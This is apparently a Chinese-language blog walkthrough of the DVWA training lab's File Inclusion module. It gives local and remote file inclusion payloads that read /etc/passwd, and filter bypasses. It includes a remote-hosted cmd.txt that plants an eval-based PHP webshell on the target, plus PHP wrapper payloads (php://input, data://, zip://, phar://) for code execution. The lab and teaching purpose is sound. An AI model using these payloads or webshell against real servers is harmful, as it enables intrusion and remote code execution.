DVWA-靶场 File Inclusion(文件包含)

blog 1.6K
DVWA-靶场 File Inclusion(文件包含)

0x01 预备知识:

文件包含概念:程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,

而无需再次编写,这中文件调用的过程一般被称为文件包含。

0x01.2 文件包含常用函数

  • include() 程序执行到include时才会进行文件包含,如果找不到包含的文件路径,则只会发出警告继续执行后面的代码。
  • include_once()与include()基本一致,但是include_once遇到已经包含过的文件不会重复包含,而include()会。
  • require() 和include()基本一致 但是require()包含的文件如果不存在,则程序就会停止执行。
  • require_once() 和include_once()基本一致,不同的是require_once()包含的文件如果不存在,程序则会终止执行。

0x01.3 文件包含的分类

  • 本地文件包含(LFI)
    • 本地文件指的是包含目标服务器本地的文件,也就是说只包含它硬盘有的文件。
  • 远程文件包含(RFI)
    • 远程文件包含指的是可以包含另一台服务器上面的文件,不过需要在php.ini配置文件中将allow_url_include 设置为On,默认为Off 以及allow_url_fopen 也要为on,默认为on。否则不能进行远程文件包含

0x02 等级:Low

0x02.1 本地文件包含

http://172.16.1.101/dvwa/vulnerabilities/fi/?page=include.php

发现url地址中进行了传参操作。参数名为page。值为include.php(包含)

很明显是一个文件包含,并且包含的参数是我们可控的。也就是page的值。

于是我们尝试将include.php更换为file1.php,之后观察页面变化

DVWA-靶场 File Inclusion(文件包含)

发现页面的确包含了file1.php的页面。于是我们可以判断此处存在文件包含漏洞

我这里的DVWA靶场服务器是基于Macos系统搭建的,可能构造的访问的文件和Windows有所差异

Linux for Macos服务器的Payload

http://172.16.1.101/dvwa/vulnerabilities/fi/?page=/etc/passwd
这里的/etc/passwd是*nix用来保存账号信息的文件

尝试访问,发现页面的确包含了在/etc目录下的passwd文件

DVWA-靶场 File Inclusion(文件包含)

Windows服务器的Payload:

http://172.16.1.103/dvwa/vulnerabilities/fi/?page=E://hello.txt

当然你的E盘下面,需要有一个叫做hello.txt的文件。

我们通过文件包含获取到了E盘下面的hello.txt的文件内容

DVWA-靶场 File Inclusion(文件包含)

0x02.2 远程文件包含

需要在php.ini添加或修改如下配置,才能进行远程文件包含

allow_url_fopen = On     // 是否允许将URL(如http://或ftp://)作为文件处理。
allow_url_include = On   // 是否允许include/require打开URL(如http://或ftp://)作为文件处理

配置完成之后,重启web服务器即可

远程包含payload:

http://localhost/dvwa/vulnerabilities/fi/?page=http://172.16.1.103/info.txt

info.txt文件的内容为:

<?php phpinfo();?>

// <? 里面写PHP代码 ?>
// phpinfo() 是一个功能函数 它的作用是可以回显当前服务器的PHP配置信息
// ;每句php代码结束之后必须使用;号分隔

文件包含有一个特性:当包含一个含有PHP代码的结构的任意后缀名文件,都会交给PHP程序执行,于是我们远程包含了一个含有PHP代码结构的.txt文件,被解析了PHP代码。从而回显了PHP的配置信息。

DVWA-靶场 File Inclusion(文件包含)

注意:如果我们想通过远程文件包含获取到目标服务器的PHP配置信息,就要在我们的web服务器中写一个以.txt结尾的PHP代码。这样的话目标服务器进行包含,利用文件包含的特性将其解析为PHP。从而获取到了目标服务器的PHP信息。如果直接在我们的web服务器中,以.php结尾那么我们包含的页面则是我们服务器主机的PHP信息。

栗子:

我们直接访问我们的黑客服务器可以看到,我们自己php版本为5.4.45

DVWA-靶场 File Inclusion(文件包含)

于是我们尝试将其直接包含在DVWA中

可以发现回显的并不是DVWA服务器的PHP版本,而是我们黑客服务器的PHP版本5.4.45

DVWA-靶场 File Inclusion(文件包含)

而我们包含info.txt的效果,页面回显的则是DVWA服务器的5.6.40

DVWA-靶场 File Inclusion(文件包含)

当我们请求DVWA服务器的时候,而DVWA会请求我们的黑客服务器索要info.txt的内容

小D:给我一份info.txt里面的内容

小黑:好的,给你了。

可以这么理解:小黑给的是info.txt的文本内容,即<?php phpinfo();?>

DVWA-靶场 File Inclusion(文件包含)

而我们直接包含info.php的效果:

当我们请求DVWA服务器的时候,而DVWA会请求我们的黑客服务器索要info.php的运行结果(也就是前端页面的HTML&CSS代码)

之后经过服务器渲染得到黑客服务器<?php phpinfo();?>的结果

DVWA-靶场 File Inclusion(文件包含)

更准确的来说info.php返回的就是他页面的源代码

DVWA-靶场 File Inclusion(文件包含)

info.txt的页面源代码

DVWA-靶场 File Inclusion(文件包含)

0x02.3 远程文件包含获取webshell

在黑客服务器中创建一个cmd.txt的文件

以下为文件的内容:

<?php 
     $file = "/var/www/html/cmd.php";
     $text = "<?php @eval($_POST[cmd]);?>";
     file_put_contents($file,$text)   // 将$text的内容写入到$file路径文件中 如果文件不存在,尝试创建。
?>

这是我在知道DVWA服务器的运行目录下,才指定的/var/www/html/。如果我们在实战中。并不知道对方的web服务器运行路径。我们可以将$file的值修改为cmd.php。即$file = "cmd.php"。此时它默认会在当前目录下生成cmd.php文件

假设我们的URL地址是这样的

http://localhost/dvwa/vulnerabilities/fi/?page=http://172.16.1.103/cmd.txt

那么它会在http://localhost/dvwa/vulnerabilities/fi/目录下生成cmd.php文件,我们可以通过http://localhost/dvwa/vulnerabilities/fi/cmd.php访问。这里不再演示。

——————————————————————————————————————————————————

http://localhost/dvwa/vulnerabilities/fi/?page=http://172.16.1.103/cmd.txt

使用远程文件包含cmd.txt。此时DVWA服务器/var/www/html/目录下会生成一个cmd.php的文件。

DVWA-靶场 File Inclusion(文件包含)

我们尝试访问这个cmd.php

DVWA-靶场 File Inclusion(文件包含)

发现页面返回为空,这是正常的,因为我们在生成一句话木马的时候,并没有向页面输出任何内容

我们尝试使用中国菜刀中国蚁剑这种webshell连接工具连接我们的一句话木马

DVWA-靶场 File Inclusion(文件包含)

连接成功。

0x03 等级:Medium


<?php

// 可以通过GET请求传入一个page参数的值
$file = $_GET[ 'page' ];

// 对输入进行一些过滤
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\" ), "", $file );

?>

通过审计代码发现,它过滤了http://https://以及../和..\将其替换为空

因为它将我们的http替换为空,所以我们可以通过双写绕过。

Payload:

http://localhost/dvwa/vulnerabilities/fi/?page=httphttp://://172.16.1.103/info.txt

#  httphttp://:// 过滤中间的http://后前面的http和后面的://就拼接成功了http://
DVWA-靶场 File Inclusion(文件包含)

如果将http://多次替换为空。那我们可以多写绕过。。。

../..\以及https同理。

../双写:..././ 其他的不再演示

DVWA-靶场 File Inclusion(文件包含)

0x04 等级:Hight

<?php

// 接收参数
$file = $_GET[ 'page' ];

// 只要我们传入的值含有file 并且 我们传入的值不等于include.php 都可以包含成功
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

通过审计代码发现

只要我们传入的值必须以file开头并且我们传入的值不等于include.php 都可以包含成功

于是,我们只能使用file协议绕过

http://localhost/dvwa/vulnerabilities/fi/?page=file:///etc/passwd
DVWA-靶场 File Inclusion(文件包含)

0x05 等级:impossible


<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

可以发现它只允许包含file{1...3}.php的文件。如果包含其他文件,则直接报ERROR: File not found!

0x06 PHP伪协议的应用

为了实验的方便。我们使用DVWA靶场File Inclusion模块中的Low级别演示。

0x06.1 php://filter

作用:一般用于读取源代码并进行base64编码输出到页面

生效条件:php://filter协议在只需要PHP.ini配置中的allow_url_fopen 为On就可以使用。

我们在进行文件包含的时候,发现它只能包含普通的文件,如果是.php结尾的文件,如果直接包含,则会执行这个.php文件,之后将运行结果返回到前端页面。我们并不能查看.php文件中写了什么

于是这里就用到了PHP伪协议中的php://filter

Payload:

http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=include.php

# reource=表示要读取资源的地址。

以上的回显结果,会在页面回显以Base64编码之后的include.php文件的源代码。因为Base64不能被PHP程序直接解析运行。它会识别为是一个普通的文本所以它将Base64编码的结果回显到页面

DVWA-靶场 File Inclusion(文件包含)

复制页面回显的base64编码。使用在线base64解密。得到如下内容

DVWA-靶场 File Inclusion(文件包含)

以上就为include.php中的PHP源代码

0x06.2 php://input

作用:执行POST中的PHP代码

生效条件:php.ini中的allow_url_include为On

使用Burpsuite截取数据 具体看图

DVWA-靶场 File Inclusion(文件包含)

于是我们就成功执行PHP代码。注意这里是任意代码执行。包括但不限于phpinfo()

其实也可以使用浏览器插件HackBar

DVWA-靶场 File Inclusion(文件包含)

但是这里我没有成功。原因是点击Execute没有反应(好多人都有这个问题)

0x06.3 data://

作用:自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。一般以base64编码传输

生效条件:php.ini中的 allow_url_fopen = Onallow_url_include = On 都需要为On

data://text/plain,<?php phpinfo();?>

于是我们就成功执行PHP代码。注意这里是任意代码执行。包括但不限于phpinfo()

DVWA-靶场 File Inclusion(文件包含)

一般情况下,我们都会使用base64编码之后才会成功

<?php phpinfo();?>对应的base64编码PD9waHAgcGhwaW5mbygpOz8+

DVWA-靶场 File Inclusion(文件包含)

如果直接这样运行的话是会出错的。

data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
DVWA-靶场 File Inclusion(文件包含)

我们需要将base64编码中的+全部修改为%2b,%2b表示空格

data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
DVWA-靶场 File Inclusion(文件包含)

0x06.4 file://

作用:用于访问本地文件系统,通常用来读取本地文件的且不受allow_url_fopenallow_url_include的影响。

用法:

/var/www/html/123.txt
C:/appserv/www/html/123.txt
E:\\appserv\\www\\123.txt

实例:file://[文件的绝对路径和文件名]

http://localhost/dvwa/vulnerabilities/fi/?page=file:///etc/passwd
DVWA-靶场 File Inclusion(文件包含)

0x06.5 http://&https://

作用:常规 URL 形式,允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源。通常用于远程文件包含

生效条件:php.ini配置中的allow_url_fopen = onallow_url_include = on

http://localhost/dvwa/vulnerabilities/fi/?page=http://172.16.1.103/file.txt
DVWA-靶场 File Inclusion(文件包含)

https://于此相似,这里不再演示。

0x06.6 压缩流伪协议

作用zip:// 和 bzip2:// 以及 zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等1

利用条件:

  • PHP版本大于等于5.2
  • allow_url_fopen=On
  • allow_url_include=On
0x06.6.1 zip://

先试用upload模块上传一个zip压缩包

DVWA-靶场 File Inclusion(文件包含)

cmd.zip压缩包中存有一个cmd.png文件,文件的内容为<?php phinfo();?>

DVWA-靶场 File Inclusion(文件包含)

文件上传之后,我们使用zip://伪协议来伪解压它(伪解压就是不真正的解压里面的文件 而是通过解压的方式解析它)

实际不会在目录中生成解压文件

http://localhost/dvwa/vulnerabilities/fi/?page=zip:///var/www/html/dvwa/hackable/uploads/cmd.zip%23cmd.png
DVWA-靶场 File Inclusion(文件包含)
DVWA-靶场 File Inclusion(文件包含)

发现解析成功。因为文件包含会将所有含有PHP代码结构文件以为php来执行。不看后缀名

0x06.6.2 zlib://

compress.zlib://主要针对以.tar.gz压缩包文件。而.tar.gz后缀名多使用与Linux系统

http://localhost/dvwa/vulnerabilities/fi/?page=compress.zlib:///var/www/html/dvwa/hackable/uploads/shell.tar.gz
DVWA-靶场 File Inclusion(文件包含)
DVWA-靶场 File Inclusion(文件包含)

发现成功执行

0x06.6.3 bzip2://

compress.bzip2://主要针对以.bz2压缩包文件而.bz2后缀名多使用与Linux系统

http://localhost/dvwa/vulnerabilities/fi/?page=compress.bzip2:///var/www/html/dvwa/hackable/uploads/cmd.bz2
DVWA-靶场 File Inclusion(文件包含)
DVWA-靶场 File Inclusion(文件包含)

发现执行成功

0x06.6.4 phar://

phar://协议与zip://类似,同样可以访问zip格式压缩包内容,在这里只给出一个示例:

http://localhost/dvwa/vulnerabilities/fi/?page=phar:///var/www/html/dvwa/hackable/uploads/cmd.zip/cmd.png
DVWA-靶场 File Inclusion(文件包含)

分享